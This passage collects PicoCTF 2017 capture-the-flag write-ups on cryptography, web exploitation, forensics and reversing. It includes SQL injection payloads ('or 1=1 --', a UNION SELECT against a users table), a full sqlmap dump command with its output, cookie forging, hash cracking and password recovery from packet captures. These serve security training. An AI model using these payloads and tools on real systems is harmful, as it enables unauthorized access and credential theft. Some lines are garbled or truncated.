top favourite is Quipuip. On the first try of attempting to solve with Quipuip, you would probably get a paragraph of text that starts to make more sense. THE FLAG IS IFONLYMODERNCRYPTO?ASLI?ETHIS. GENERATED BY MAR?OV CHAIN OF THE ?I?IPEDIA PAGE ON CALVIN AND HOBBES. BE ?ERE LONG, THE FLA?S ON A 2005 PRESENT TIMES THAN STAMINA OR A ?EE?LY SUNDAY, DECEMBER 21, 1989 1990, THE DRE? EDITORS ?AS UPROOTED EVERY ?ORLD CAN BE FOUND THE CONTINUED TO ?OR? AT A FAITHFUL REPLIES ?HERE HOBBES, STYLE AIM CALVIN, ATTAC? BOTH SIDES TO MAR?S, "?HAT DO CONTROLLING AN ACTUAL BOARD BOXES ...  This seems very promising, so let's do a letter for letter comparison with the original paragraph. MIT YSAU OL OYGFSBDGRTKFEKBHMGCALSOQTMIOL. UTFTKAMTR ZB DAKQGX EIAOF GY THE FLAG IS IFONLYMODERNCRYPTO?ASLI?ETHIS. GENERATED BY MAR?OV CHAIN OF MIT COQOHTROA HAUT GF EASXOF AFR IGZZTL. ZT CTKT SGFU, MIT YSACL GF A THE ?I?IPEDIA PAGE ON CALVIN AND HOBBES. BE ?ERE LONG, THE FLA?S ON A 2005 HKTLTFM MODTL MIAF LMADOFA GK A CTTQSB LWFRAB, RTETDZTK 21, 2005 PRESENT TIMES THAN STAMINA OR A ?EE?LY SUNDAY, DECEMBER 21,  We are getting close. Now we just need to add clues to the quipuip machine. For one, MIT=THE and YSAU=FLAG. Additionally, COQOHTROA is most likely WIKIPEDIA. So we add clues like these, MIT=THE YSAU=FLAG COQOHTROA=WIKIPEDIA  Viola, we got the flag! THE FLAG IS IFONLYMODERNCRYPTOWASLIKETHIS. GENERATED BY MARKOV CHAIN OF THE WIKIPEDIA PAGE ON CALVIN AND HOBBES. BE WERE LONG, THE FLAWS ON A 2005 PRESENT TIMES THAN STAMINA OR A WEEKLY SUNDAY, DECEMBER 21, ...  Therefore, the flag is IFONLYMODERNCRYPTOWASLIKETHIS. # PicoCTF_2017: Keyz Category: Cryptography Points: 20 Description: While webshells are nice, it'd be nice to be able to login directly. To do so, please add your own public key to ~/.ssh/authorized_keys, using the webshell. Make sure to copy it correctly! The key is in the ssh banner, displayed when you login remotely with ssh, to shell2017.picoctf.com Hint: There are plenty of tutorials out there. This one worked for me: https://www.digitalocean.com/community/tutorials/how-to-set-up-ssh-keys--2 ## Write-up Really simple, this one. Firstly, generate an id_rsa identity. Might as well go for the 4096-bit key while you are at it. $ ssh-keygen -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:dc9Jgcpa7Ieh+HOc0YltffBabS66IupucLeUJwfgvao [email protected]
The key's randomart image is:
+---[RSA 4096]----+
|                 |
|  .     .  .     |
| . o  .   ooo .  |
|  . o    o+.+= . |
|     +  S  =  +  |
|. . * o.+.* .    |
| o  .=o.+  .     |
|  o oo *=.       |
|E=+. .+++.       |
+----[SHA256]-----+
# No, none of that is real duh


Then, copy the contents of ~/.ssh/id_rsa.pub into the clipboard. Next, open up PicoCTF web shell and create the folder .ssh. Then, run this command.

$echo "{PASTE_HERE}" >> ~/.ssh/authorized_keys  Now try SSH-ing into the box at shell2017.picoctf.com from your computer! $ ssh [email protected]
The authenticity of host 'shell2017.picoctf.com (34.206.4.227)' can't be established.
ECDSA key fingerprint is SHA256:ZIqVNC9hm15Z6mdDFCWC/H0+5MzSzXEhW3a+iHP1HM4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'shell2017.picoctf.com,34.206.4.227' (ECDSA) to the list of known hosts.
Congratulations on setting up SSH key authentication!


Therefore, the flag is who_needs_pwords_anyways.

# PicoCTF_2017: SmallSign

Category: Cryptography Points: 140 Description:

This service outputs a flag if you can forge an RSA signature! nc shell2017.picoctf.com 5596 smallsign.py

Hint:

RSA encryption (and decryption) is multiplicative.

## Write-up

This challenge mainly focuses on a simple concept of RSA, which is it's multiplicativity? Is that a word? Well, basically, this concept states that for a given signature of m1, s1 and a signature of m2, s2 would end up in the form where (m1 * m2) = (s1 * s2).

In this challenge, we are given the ability to make the server sign as many integers as we want for 60 seconds and then we have to also solve the challenge in that same time. This challenge is a random integer from 0 to 2**32, which is a large number and something we cannot possibly get the server to sign to, within 60 seconds. However, we can take a shortcut and just try getting the server to sign a couple prime factors and then hoping for the RNG to get us a challenge that is factored up by the prime factors we have.

Lo and behold, python script and shell loops.

while true; do
python3 -u smallsign.py | tee -a log
sleep 3
done


Therefore, the flag is damnitiforgottosavetheflag.

# PicoCTF_2017: Encrypted Shell

Category: Cryptography Points: 190 Description:

This service gives a shell, but it's password protected! We were able intercept this encrypted traffic which may contain a successful password authentication. Can you get shell access and read the contents of flag.txt? The service is running at shell2017.picoctf.com:38314.

Hint:

Are any of the parameters used in the key exchange weaker than they should be?

## Write-up

This challenge revolves on breaking the Diffie-Hellman key exchange. The hint given tells us that something is weak and upon observing the server code closely, we find that a = random.randint(1, 2**46), which is surprisingly, a very small number.

So, we are then able to use the "Baby Step Giant Step" algorithm to try and reverse a from the given A. Additionally, since we know the range of a, we can run a sqrt(a) to limit the amount of small steps we have to take.

Code

Therefore, the flag is 467de743e8f82e09b555426e322adba5.

# PicoCTF_2017: LeakedHashes

Category: Cryptography Points: 90 Description:

Someone got hacked! Check out some service's password hashes that were leaked at hashdump.txt! Do you think they chose strong passwords? We should check... The service is running at shell2017.picoctf.com:53397!

Hint:

See if you can crack any of the login credentials and then connect to the service as one of the users. What's the chance these hashes have actually already been broken by someone else? Are there websites that host those cracked hashes? Connect from the shell with nc.

## Write-up

Let's try to see what the login looks like.

$nc shell2017.picoctf.com 53397 enter username: root root's password:  Well, damn, we only have root's hash. Let's do a simple cat hashdump.txt | cut -d ':' -f 2 to retreive all password hashes and go down to our local rainbow table site to solve all the hashes. We are unable to find out what's root's password but never mind that, let's try christene. $ nc shell2017.picoctf.com 53397
christene
welcome to shady file server. would you like to access the cat ascii art database? y/n
y

/\_/\
( o o )
G-==_Y_==-M
-'

/\ /\
(O o)
=(: ^ :)=
'*v*'

|\_/|
(. .)
=w= (\
/ ^ \//
(|| ||)
,""_""_ .

/\_/\
( o o )
-==_Y_==-
-'
/\**/\
( o_o  )_)
,(u  u  ,),
{}{}{}{}{}{}

/\_/\
( o.o )
> ^ <

/\_/\
/\  / o o \
//\ \~(*)~/
  \/   ^ /
| \|| ||
\ '|| ||
\)()-())

A_A
(-.-)
|-|
/   \
|     |  __
|  || | |  \___
\_||_/_/

/\__/\
/    '\
=== 0  0 ===
\  --  /    - flag is 53c0bedf15f745eeed4a6c6c30a10f30

/        \
/          \
|            |
\  ||  ||  /
\_oo__oo_/#######o

/\___/\
( o   o )
(  =^=  )
(        )
(         )
(          )))))))))))

/\ /\
(O o)
=(:^:)=
U

_,,/|
\o o'
=_~_=
/   \ (\
(////_)//
~~~

/\     /\
{  ---'  }
{  O   O  }
~~|~   V   ~|~~
\  \|/  /
-----'__
/     \  ^\_
{       }\ |\_\_   W
|  \_/  |/ /  \_\_( )
\__/  /(_E     \__/
(  /
MM

("-''-/").___..--''"-._
6_ 6  )   -.  (     ).-.__.)
(_Y_.)'  ._   )  ._ . -..-'
_..--'_..-_/  /--'_.' ,'
(il),-''  (li),'  ((!.-'

from http://user.xmission.com/~emailbox/ascii_cats.htm


Easy. Therefore, the flag is 53c0bedf15f745eeed4a6c6c30a10f30

# PicoCTF_2017: A Happy Union

Category: Web Exploitation Points: 110 Description:

I really need access to website, but I forgot my password and there is no reset. Can you help? I like lite sql :)

Hint:

A SQL union allows a single query to select values from multiples tables.

## Write-up

SQLite injection tested here. Create a account with username ' or user like '' UNION SELECT '1', user, pass FROM users --, password not important.

Therefore, the flag is flag{union?_why_not_onion_a69464d4869c743e26c08df8686e4003}.

# PicoCTF_2017: TW_GR_E2_EoTDS

Category: Web Exploitation Points: 120 Description:

Given the relative success of the first release, it was no surprise that a second installment in the TW:GR series was released. I can't beat this one either, though... those darn spatulas put an induction cooktop in the floor so I can't get to the flag! Can you get it for me? You can play the game here.

Hint:

Toasters can't go through induction cooktops because they're made of metal. However, it looks like there's a nice, friendly spatula on the last floor; and better yet, he's made of rubber! I'm sure he could be persuaded to go pick up the flag and bring it back to you.

## Write-up

This one was a fun one, making use of the Spatula's AI that forces it to go down a corridor if it already sees one. There's no real way to explain this but as the bot is moving down the vertical corridor in the room, move down, in the opposite direction. This tricks it's shortest distance movement AI to force it to get the flag for you.

Therefore, the flag is i_dont_want_to_say_goodbye__gets_me_every_time_2fa00d62583c852b0e5ae11dcdcbabe1.

# PicoCTF_2017: No Eyes

Category: Web Exploitation Points: 125 Description:

The website isn't really me much, but you can still get the admin password, right?

Hint:

Sometimes an error message can be just as useful.

## Write-up

For this one, instead of crafting our own queries, let's use the amazing tool, SQLMap, an automated SQL injection tool.

./sqlmap.py -u http://shell2017.picoctf.com:21088/ --data "username=admin&password=password" -o --threads=10 --level 5 --risk 3  --dump
___
__H__
___ ___[)]_____ ___ ___  {1.1.3.19#dev}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
|_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 09:06:58

[09:06:58] [INFO] resuming back-end DBMS 'sqlite'
[09:06:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)

Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: username, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[09:07:05] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[09:07:05] [INFO] fetching tables for database: 'SQLite_masterdb'
[09:07:05] [INFO] fetching number of tables for database 'SQLite_masterdb'
[09:07:05] [INFO] retrieved:
[09:07:05] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[09:07:05] [WARNING] if the problem persists please try to lower the number of used threads (option '--threads')
1
[09:07:06] [INFO] retrieving the length of query output
[09:07:06] [INFO] retrieved: 5
[09:07:09] [INFO] retrieved: us_r_ 3/5 (60%)
[09:07:13] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[09:07:14] [INFO] retrieved: users
[09:07:14] [INFO] retrieving the length of query output
[09:07:14] [INFO] retrieved: 40
[09:07:24] [INFO] retrieved: CREATE TABLE users(user text, pass text)
[09:07:24] [INFO] fetching entries for table 'users' in database 'SQLite_masterdb'
[09:07:24] [INFO] fetching number of entries for table 'users' in database 'SQLite_masterdb'
[09:07:24] [INFO] retrieved: 1
[09:07:25] [INFO] retrieving the length of query output
[09:07:25] [INFO] retrieved: 63
[09:07:40] [INFO] retrieved: not_all_errors_should_be_shown_3c826cdcbf6f146ac6f86e6b65d3b1de
[09:07:40] [INFO] retrieving the length of query output
[09:07:40] [INFO] retrieved: 5
[09:07:44] [INFO] analyzing table dump for possible password hashes
Database: SQLite_masterdb
Table: users
[1 entry]
+-------+-----------------------------------------------------------------+
| user  | pass                                                            |
+-------+-----------------------------------------------------------------+
+-------+-----------------------------------------------------------------+

[09:07:44] [INFO] table 'SQLite_masterdb.users' dumped to CSV file '/root/.sqlmap/output/shell2017.picoctf.com/dump/SQLite_masterdb/users.csv'
[09:07:44] [INFO] fetched data logged to text files under '/root/.sqlmap/output/shell2017.picoctf.com'

[*] shutting down at 09:07:44


Therefore, the flag is not_all_errors_should_be_shown_3c826cdcbf6f146ac6f86e6b65d3b1de.

# PicoCTF_2017: TW_GR_E1_ART

Category: Web Exploitation Points: 100 Description:

Oh, sweet, they made a spinoff game to Toaster Wars! That last room has a lot of flags in it though. I wonder which is the right one...? Check it out here.

Hint:

I think this game is running on a Node.js server. If it's configured poorly, you may be able to access the server's source. If my memory serves me correctly, Node servers have a special file that lists dependencies and a start command; maybe you can use that file to figure out where the other files are?

## Write-up

All NodeJS servers generally depend on dependencies(hah!). Let's try accessing http://shell2017.picoctf.com:16929/package.json.

{
"name": "rogue-1",
"version": "1.0.0",
"main": "server/serv.js",
"dependencies": {
"beautiful-log": "^1.3.0",
"body-parser": "^1.16.0",
"callsite": "^1.0.0",
"clone": "^2.1.0",
"colors": "^1.1.2",
"deep-diff": "^0.3.4",
"dequeue": "^1.0.5",
"express": "^4.14.1",
"mongodb": "^2.2.25",
"morgan": "^1.7.0",
"nconf": "^0.8.4",
"promise": "^7.1.1",
"socket.io": "^1.7.2",
"sprintf": "^0.1.5"
},
"devDependencies": {},
"scripts": {
"prestart": "node server/init.js",
"start": "node server/serv.js"
}
}


Interesting. Let's try looking at http://shell2017.picoctf.com:16929/server/init.js

var mongo   = require("mongodb").MongoClient;
var nconf   = require("nconf");

nconf.argv().env();

let db;

mongo.connect(mongodb://localhost:27017/blundertale)
.then((d) => {
db = d;
return db.authenticate(nconf.get("MONGO_USER"), nconf.get("MONGO_PASS"));
})
.then(() => {
return db.createCollection("games");
})
.catch((err) => {
console.error("[DB] DB connection failed", err);
})
.then(() => {
db.close();
});


Is this database I am seeing? What's this nconf? Let's take a look at http://shell2017.picoctf.com:16929/server/serv.js.

var express     = require("express");
var app         = express();

app.use(require("body-parser").json());
// app.use(require("morgan")("dev"));

var http        = require("http").Server(app);
var path        = require("path");
var fs          = require("fs");
var Promise     = require("promise");
var logger      = require("./logger");
var sprintf     = require("sprintf");
var nconf       = require("nconf");
var db          = require("./db");
var io          = require("socket.io")(http);

require("./game")(app, io);

nconf.argv().env();

var PORT = nconf.get("port") || 8888;

app.get("/", function(req, res){
res.status(200);
res.sendFile(path.join(__dirname, "../public/html/index.html"));
});

app.use(express.static(path.join(__dirname, "..")));

http.listen(PORT, function(){
logger.info("[server] Listening on *:" + PORT);
});

process.on("unhandledRejection", (err) => {
logger.error(err.stack);
});


Let's try looking into game.js

            case "revealFlag":
if (entity.items[action.item].effects[i].check == 64) {
outcome.flag = process.env["PICO_CTF_FLAG"];
}
break;


What's this? If .check is 64, we get the flag? Let's take a look at the config.js.

function createFlag(check, location) {
return {
name: "Flag",
description: "Gives you the flag... maybe.",
location: location,
use: 0,
id: check + 100,
sprite: "flag",
effects: [
{
type: "revealFlag",
check: check
},
{
type: "destroyItems"
}
]
};
}
...
items: Array.from(new Array(83), (_, idx) => {
if (idx >= 2) {
idx++
}

if (idx >= 77) {
idx++;
}

var r = Math.floor(idx / 5) + 1;
var c = (idx % 5) + 1;

return createFlag(idx, { r: r, c: c });
}),


Look like a flag's .check value is only 64 when idx is 64. r and c seems to correspond with coordinates on the map. Let's try to calculate the coordinate of the flag when idx is 64.

var r = Math.floor(64 / 5) + 1;
var c = (64 % 5) + 1;


Therefore, r is 13 and c is 5. Let's try to plot this on a map.

[ -4,  -3,  -3,  -3,  -3,  -3,  -2],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1, flag, -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -5,   1,   1, stair, 1,   1,  -1],
[ -5,   1,   1,   1,   1,   1,  -1],
[ -6,  -7,  -7,  -7,  -7,  -7,  -8]


Navigating to the coordinate on the map gets us a flag that when used, gives us the flag.

# PicoCTF_2017: TW_GR_E4_STW

Category: Web Exploitation Points: 200 Description:

Many saw the fourth installment of Toaster Wars: Going Rogue as a return to grace after the relative mediocrity of the third. I'm just glad it was made at all. And hey, they added some nifty new online scoreboard features, too!

Hint:

Ooh, what a nifty scoreboard! If we get a bunch of people playing at once, we can have a race through the dungeon!

## Write-up

Execute this command right under Level 3 staircase to move up twice :D

socket.emit("action", {type: "move", direction: 2});
socket.emit("action", {type: "move", direction: 2});


Therefore, the flag is im_still_upset_you_dont_get_to_keep_the_cute_scarves_in_the_postgame_a44703668b068b3fa9a7a83a8f466ace.

# PicoCTF_2017: TW_GR_E3_Gtl

Category: Web Exploitation Points: 180 Description:

Many think the third entry in the Toaster Wars: Going Rogue series didn't live up to Explorers due to its simplified gameplay, but I liked the new plot and ensemble cast better. Anyway, this one also has a flag that I can't figure out how to get...

Hint:

Clearly, you can't get to the flag. But perhaps you don't need to go over to it at all?

## Write-up

There are two solutions for this challenge, one intended and the other, not so much. Firstly, I'll write about the intended solution, which is more or less considered the 100% solution.

The first solution involves no RNG and was the originally intended solution of the challenge setter. We first have to identify the couple of "bugs" in the code, particular the one with item pick up.

// item check
if(entity.items.length < entity.stats.maxItems){
var itId = -1;
var name = "";
for(var i = 0; i < state.items.length; i++){
if(state.items[i].location.r == entity.location.r && state.items[i].location.c == entity.location.c){
itId = state.items[i].id;
msg.outcome.push({
type: "item/get",
id: state.items[i].id,
item: state.items[i].name
});
break;
}
}
}

entity.items = entity.items.concat(state.items.filter(function(it){ return it.id == itId; }));
state.items = state.items.filter(function(it){ return it.id != itId; });


Through rubber ducky debugging, you realize that at any time, items are concatenated by their IDs upon item pick up. This also means that there is no limit to the amount of items you can pick up at once, as long as the IDs are similar.

Additionally, looking into server/config.js reveals our flag's ID

function createFlag(location) {
return {
name: "Flag",
description: "Gives you the flag.",
location: location,
use: 0,
id: 12,
sprite: "flag",
effects: [
{
type: "revealFlag"
}
]
};
}


This means we need to have an ID of 12 of an item to get the flag as well if we drop it. Moving to phase 2 of this solution, we need to look at another bug/feature

socket.on("resortItems", function(){
...
for(var i = 0; i < state.player.items.length; i++){
state.player.items[i].id = i;
...
})


It appears that whenever we sort items, the item's ID values are changed as well. This means, we can theoretically pick up and item, change it's ID value to 0 and drop it again. Why do that? Well, this also means it's possible to sort 13 items and have the 13th item with the same ID as the flag. However, since you can only pick up a maximum of 8 items, you need to exploit the fact you pick up all the items with the same ID value like 0.

So, to solve this, you need to get up to level 4 with a full inventory of 8 items. Then, proceed to murder all the enemies in that level to be able to do whatever you have to do next uninterrupted. Now, proceed to drop all items except 1, sort, drop, pick up another item, sort and drop rinse and repeat till all items have an ID of 0. Then, proceed to pick them all up at once by moving over any item with ID 0. Bam, now you have more items in your inventory than you should have.

Proceed to level 5, sort and drop all your items till you are left with the 13th item. Drop the 13th item, walk back and pick it up again and you should get your flag.

The next solution was completely unintended and relies on the low ID value of flag while simultanously relying on generator.js.

By pure RNG, it is possible to have an item spawn in a level with an ID of 12. Using Chrome's Developers Console and repeatedly checking item values with state.items and state.player.items, it's possible to narrow it down to a single item with ID of 12. Then, resist sorting your items till you are on level 5, drop the item and pick it up again. Flag bingo!

Therefore, the flag is the_new_feature_where_you_manage_your_own_shelf_in_the_refrigerator_was_an_interesting_addition_3a4b094d798ee2e4fc2aac44cf9a5902.

# PicoCTF_2017: Biscuit

Category: Web Exploitation Points: 75 Description:

Your friend has a personal website. Fortunately for you, he is a bit of a noob when it comes to hosting a website. Can you find out what he is hiding? [Website](http://shell2017.picoctf.com:46787/.

Hint:

Viewing the source of the website is usually a good start.

## Write-up

Looking at source, we get

<html>

<!-- Storing stuff in the same directory as your web server doesn't seem like a good idea -->
<!-- Thankfully, we use a hidden one that is super PRIVATE, to protect our cookies.sqlite file -->
<style>
body{
background-image: url("private/image.png");
}
</style>

<body >

<div style='background:white;margin: auto;border: 1px solid red;width: 600px; margin-top: 20%;' >
<center>
<form style="font-size: 40px; ">
</center>
</div>

</body>

</html>


Downloading private/cookies.sqlite gives us this nice sqlite file and in it, we find a free cookie! Using Javascript to edit document.cookie, we get the flag!

> document.cookie = "ID=F3MAqpWxIvESiUNLHsflVd"


Therefore, the flag is a31bbaad652b861dec1cdf7a7fe9fc9d.

# PicoCTF_2017: A Kaley Ceilidh

Category: Web Exploitation Points: 175 Description:

Everyone loves Scottish food [citation needed], but do you ever wish there were more hipster-y options? Well look no further than a Kaley Ceilidh.

Hint:

There's not a whole lot you can do on this application. If your normal attacks aren't working, perhaps you need to think bigger. Humongous, in fact. The server probably won't show you anything that contains a "flag" property.

From the clue given, this is a common(not really) case of MongoDB exploitation. The basis of this exploit revolves around MongoDB's magical $where function followed by a slow bruteforce with time-based blind exploits. Python Script Therefore, the flag is flag{I_only_eat_0rg4n1c_flages}. # PicoCTF_2017: What Is Web Category: Web Exploitation Points: 20 Description: Someone told me that some guy came up with the "World Wide Web", using "HTML" and "stuff". Can you help me figure out what that is? Website. Hint: How can you figure out how the webpage is actually built? ## Write-up Viewing the page source gives us 1/3 of the flag, fab79c49d9e, viewing the CSS source code gives us 2/3 of the flag, 5ba511a0f24 and lastly viewing the JS source code gives us the last part of the flag 36308e33e85. Therefore, the flag is fab79c49d9e5ba511a0f2436308e33e85. # PicoCTF_2017: My First SQL Category: Web Exploitation Points: 50 Description: I really need access to website, but I forgot my password and there is no reset. Can you help? Hint: Have you heard about SQL injection? ## Write-up A simple SQL injection, just try to login to an admin account. As most SQL injection flaws comes from unescaped queries, a universal query such as ' or 1=1 -- works, everytime. Therefore the flag is be_careful_what_you_let_people_ask_ca3db5eae25f146a5418c4365b0b5540. # PicoCTF_2017: Just Keyp Trying Category: Forensics Points: 80 Description: Here's an interesting capture of some data. But what exactly is this data? Take a look: data.pcap Hint: Find out what kind of packets these are. What does the info column say in Wireshark/Cloudshark? What changes between packets? What does that data look like? Maybe take a look at http://www.usb.org/developers/hidpage/Hut1_12v2.pdf? ## Write-up Another challenge, this time testing on your capabilities to read the title. We will extract the USB additional capture data and extract only the 3rd column where the keypress event is encoded into. $ tshark -r data.pcap -T fields -e usb.capdata | grep -v '00:00:00:00:00:00:00:00' | cut -d ':' -f 3
09
0f
04
0a
00
2f
00
13
15
20
22
22
00
2d
00
27
11
1a
04
15
07
16
00
2d
00
07
08
04
09
06
05
20
1f
00
30
00
00
06


Consulting the USB specification manual for KEYPAD, granted in the challenge name,

09  F
0f  L
04  A
0a  G
00
2f  {
00
13  P
15  R
20  3
22  5
22  5
00
2d  _
00
27  0
11  N
1a  W
04  A
15  R
07  D
16  S
00
2d  _
00
07  D
08  E
04  A
09  F
06  C
05  B
20  3
1f  2
00
30  }
00
00
06  C


Therefore, the flag is flag{pr355_0nwards_deafcb32}.

# PicoCTF_2017: Digital Camouflage

Category: Forensics Points: 50 Description:

We need to gain access to the school routers to cover our tracks. Let's try and see if we can find the password in the network data we captured earlier: data.pcap

Hint:

It looks like an Administrator might have accessed the routers earlier. He had to have logged in with his password. Where would log in data be located in a network capture?

## Write-up

Looking up the data.pcap file in Wireshark lands us with packet #122

HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "userid" = "randled"
Key: userid
Value: randled
Form item: "pswrd" = "OFBGRW8wdHRIUQ=="
Key: pswrd
Value: OFBGRW8wdHRIUQ==


Trying OFBGRW8wdHRIUQ== as the flag results in invalid... but wait, that looks like base64!

$echo "OFBGRW8wdHRIUQ==" | base64 -d 8PFEo0ttHQ  Therefore, the flag is 8PFEo0ttHQ. # PicoCTF_2017: Little School Bus Category: Forensics Points: 75 Description: Can you help me find the data in this littleschoolbus.bmp? Hint: Look at least significant bit encoding!! ## Write-up First, we need to convert littleschoolbus.bmp to a ASCII binary form, then we need to extract the least significant bit? Maybe add bits together? with open("littleschoolbus.bmp", "rb") as file: data = file.read() bits = "" for c in data: lsb = str(c & 0x1) bits += lsb bytess = [chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)] lsbstr = "".join(bytess) print(lsbstr) if "flag" in lsbstr: break  Hmm... doesn't seem to contain the flag! I know, let's make it keep removing front bits till we get "flag"! for iter in range(16): with open("littleschoolbus.bmp", "rb") as file: data = file.read() data = data[iter:] bits = "" for c in data: lsb = str(c & 0x1) bits += lsb bytess = [chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)] lsbstr = "".join(bytess) print(lsbstr) if "flag" in lsbstr: break  Putting this into search.py and running it, we get, $ ./search.py
# Lots of random crap
ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿó°¤Ç­?ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
# Even more random crap


Well, that worked! Therefore, the flag is flag{remember_kids_protect_your_headers_5e31.

# PicoCTF_2017: Meta Find Me

Category: Forensics Points: 70 Description:

Find the location of the flag in the image: image.jpg. Note: Latitude and longitude values are in degrees with no degree symbols,/direction letters, minutes, seconds, or periods. They should only be digits. The flag is not just a set of coordinates - if you think that, keep looking!

Hint:

How can images store location data? Perhaps search for GPS info on photos.

## Write-up

Looking onto the GPS section of the image's metadata reveals

Latitude: 7° 0’ 0” N
Longitude: 96° 0’ 0” E


Without degree symbols, direction letters, minutes, seconds or periods, we get

Latitude: 7
Longitude: 96


Now, 7, 96 is not the answer, nor is any other combinations. So what are we missing? Let's open the file in hex form and do a search for flag.

00005bb0:  0001 0300 1003 0203 0600 0000 0000 0000 0000 0000 00ff fe00  :........................
00005bc8:  7522 596f 7572 2066 6c61 6720 6973 2066 6c61 675f 325f 6d65  :u"Your flag is flag_2_me
00005be0:  7461 5f34 5f6d 655f 3c6c 6174 3e5f 3c6c 6f6e 3e5f 3163 3166  :ta_4_me_<lat>_<lon>_1c1f
00005bf8:  2e20 4e6f 7720 6669 6e64 2074 6865 2047 5053 2063 6f6f 7264  :. Now find the GPS coord
00005c10:  696e 6174 6573 206f 6620 7468 6973 2069 6d61 6765 2120 2844  :inates of this image! (D
00005c28:  6567 7265 6573 206f 6e6c 7920 706c 6561 7365 2922 ffdb 0084  :egrees only please)"....


Easily found, we now have the format. Piecing together, we replace <lat> and <lon> with our previous coordinates.

Therefore, the flag is flag_2_meta_4_me_7_96_1c1f.

# PicoCTF_2017: Connect The Wigle

Category: Forensics Points: 140 Description:

Identify the data contained within wigle and determine how to visualize it. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out.

Hint:

Perhaps they've been storing data in a database. How do we access the information? How can we visualize this data? Maybe we just need to take a step back to get the big picture? Try zero in the first word of the flag, if you think it's an O. If you think you're super close, make a private piazza post with what you think it is.

## Write-up

The solution to this challenge was very simple, except that if you are an over-thinker and over-analyzer like me, you tend to miss out on the easiest step.

Firstly, analysing the file tells us that it's an SQLite file, so let's open it up and view the data. Next, dumping the lat and lon to a CSV file and plotting it on a map... wait for it... gives us

My original attempt was foolish, trying to deduce any erroneous locations in the data and ploting that instead.

Therefore, the flag is flag{f0und_m3_ee263b5f}.

# PicoCTF_2017: Special Agent User

Category: Forensics Points: 50 Description:

We can get into the Administrator's computer with a browser exploit. But first, we need to figure out what browser they're using. Perhaps this information is located in a network packet capture we took: data.pcap. Enter the browser and version as "BrowserName BrowserVersion". NOTE: We're just looking for up to 3 levels of subversions for the browser version (ie. Version 1.2.3 for Version 1.2.3.4) and ignore any 0th subversions (ie. 1.2 for 1.2.0)

Hint:

Where can we find information on the browser in networking data? Maybe try reading up on user-agent strings.

## Write-up

Looking in packet #93, we find the User-Agent(I get the reference)

Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36


Attempting to pass Mozilla 5.0, Safari 537.37 results as invalid flag but Chrome 36.0.1985 results in the correct flag.

Therefore, the flag is Chrome 36.0.1985.

# PicoCTF_2017: Puzzingly Accountable

Category: Forensics Points: 100 Description:

We need to find a password. It's likely that the updated passwords were sent over the network. Let's see if that's true: data.pcap. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out. The ones and sevens unfortunately look like each other.

Hint:

How does an image end up on your computer? What type of packets are involved?

## Write-up

A challenge that tests whether you noticed a /secret/*.png GET request and then a manual individual TCP stream of each GET request to pngs.

Therefore, the flag is 953c5041c35bfebdf8625c3d517daa65.

# PicoCTF_2017: Raw2Hex

Category: Reverse Engineering Points: 20 Description:

This program just prints a flag in raw form. All we need to do is convert the output to hex and we have it! CLI yourself to /problems/45f3b0abcf176b7cf7c1536b28d05d72 and turn that Raw2Hex!

Hint:

Google is always very helpful in these circumstances. In this case, you should be looking for an easy solution.

## Write-up

This seems like another question of bash piping... Running /problems/45f3b0abcf176b7cf7c1536b28d05d72/raw2hex gives us raw binary data, with additional placeholder text infront. That needs to be filtered out first.

# Accomplished by using ':' as a delimiter.
$/problems/45f3b0abcf176b7cf7c1536b28d05d72/raw2hex | cut -d ':' -f 2  Now, to hex it, we can simply use xxd, the wondertool~ $ /problems/45f3b0abcf176b7cf7c1536b28d05d72/raw2hex | cut -d ':' -f 2 | xxd -plain
cc76ae5c1b19d06897338d2deaa50bf00a


Therefore, the flag is cc76ae5c1b19d06897338d2deaa50bf00a.

# PicoCTF_2017: Hex2Raw

Category: Reverse Engineering Points: 20 Description:

